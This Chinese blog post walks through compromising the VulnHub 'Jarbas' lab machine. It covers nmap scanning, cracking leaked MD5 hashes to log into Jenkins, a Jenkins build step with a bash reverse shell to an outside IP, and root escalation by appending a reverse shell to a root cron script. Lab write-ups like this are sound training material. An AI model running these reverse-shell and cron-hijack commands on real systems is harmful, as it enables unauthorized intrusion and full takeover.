Jarbas-靶场

准备阶段

Jarbas介绍

  1. Jarbas是一款基于Linux系统的渗透测试靶场,用于模拟各种安全漏洞和攻击场景。
  2. 通常包含了多个不同难度级别的漏洞,可以通过各种渗透测试技术来尝试攻破这些靶机。

Jarbas安装

  1. Jarbas靶场的下载地址:https://download.vulnhub.com/jarbas/Jarbas.zip
  2. 将压缩包解压,使用虚拟机打开下载的.vmx文件。

信息收集

尝试登录

下载并安装后发现需要用户名和密码,但是并没有给出默认的用户名和密码。

尝试了一些可能出现的账号密码后,并未正确。

查看靶机IP

不能登入靶机,无法通过ipconfig查看靶机IP地址。

更改网络适配器模式:

将靶机的网络模式改成NET模式,共享主机的ip,让靶机和主机在同一网段下。

我的VMware虚拟机的虚拟网络配置,VMnet8是使用的NAT模式,默认子网是192.168.152.0

攻击机(本机)使用ipconfig命令查看

使用nmap扫描

nmap -sV 192.168.152.1/24

-sV:执行版本探测,尝试确定开放端口上运行的服务和版本信息

通过扫描可以判断出,Jarbas靶机IP地址为192.168.152.152,并且开放了4个端口。

nmap -sT -sV -O -p22,80,3306,8080 192.168.152.152

-sT:执行TCP扫描,这是最基本的扫描类型,通过建立完整的TCP连接来检测端口状态

-sV:执行版本探测,尝试确定开放端口上运行的服务和版本信息

-O:对目标主机运行的操作系统类型及其版本

-p:指定扫描的端口范围

nmap -sU -p22,80,3306,8080 192.168.152.152

-sU:执行UDP扫描,用于探测开放的UDP端口

UDP所有的端口都是关闭的,没什么发现

使用dirsearch扫描

python37 dirsearch.py -u http://192.168.152.152/ -x 404

-x:排除指定状态码页面

访问Web,寻找切入点

访问端口

访问网站的80段口,发现是正常的Web界面

访问网站的8080端口,像是一个后台登录界面

访问/access.html

访问后发现有三行编码

tiago:5978a63b4654c73c60fa24f836386d87
trindade:f463f63616cb3f1e81ce46b39f882fd5
eder:9b38e2b1e8b12f426b0d208a7ab6cb98

首先想到的是拿去md5进行解密

解密后得到

tiago:italia99
trindade:marianna
eder:vipsu

看起来像是账号密码

登录后台

使用收集的Jenkins的默认账号密码进行登录

Jenkins:Jenkins

admin:Jenkins

结果均为登录失败

网上收集资料看到

尝试使用md5解密的账号密码进行登录

前两个均为错误

最后一个登陆成功并进入后台

开始渗透

Jenkins是一套著名的内容管理系统,是一个持续的集成工具

收集后台信息

在管理后台看看有没有什么可以利用的地方

发现并没有什么太多的功能

发现新建执行项目的地方,并对其进行利用

新建执行反弹shell任务

新建任务项

信息收集的时候我们知道了这并不是windows系统,而是一个Linux系统。

所以在构建页面-->增加构建步骤选项,选择Execute shell。

并编写反弹shell指令

bash -i >& /dev/tcp/47.99.162.137/6666 0>&1

保存后点击立即构建

这时候查看公网服务器,并以成功接收到shell

系统提权

收集用户信息

whoami查看当前用户为Jenkins

查看IP命令使用不了,证明权限不够

sudo -l查看有哪些权限,发现什么权限也没有

cat /etc/passwd

发现了root用户和一些功能性用户,还有一些没有被分配bash的用户

crontab提权(系统定时任务)

cat /etc/crontab

也有其他查看命令,一个一个去尝试

cat /etc/cron.d

cat /etc/crontab

发现有一个root运行的自动任务脚本

每5分钟运行一次,作用是删除访问日志

cat /etc/script/CleaningScript.sh

因为是以root权限执行的,所以进行利用

echo "bash -i >& /dev/tcp/47.99.162.137/6667 0>&1" >> /etc/script/CleaningScript.sh

在公网服务器监听利用端口,并等待

过了一会,成功拿到shell,并查看权限,为root

查看flag

通过ls发现当前目录下的flag文件,使用cat查看

总结

  1. 首先nmap做端口扫描,发现80和8080两个端口开放
  2. 通过两个端口的Web浏览和目录扫描,发现8080是内容管理系统
  3. 通过目录扫描得知账号密码,并成功登录
  4. 新建一个项目的时候,写进了反弹shell,并拿到初始shell的权限
  5. 收集提权信息
  6. 发现自动任务有root权限运行的,并进行利用,写入shell
  7. 成功拿到root权限,并查看flag

  • 30
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值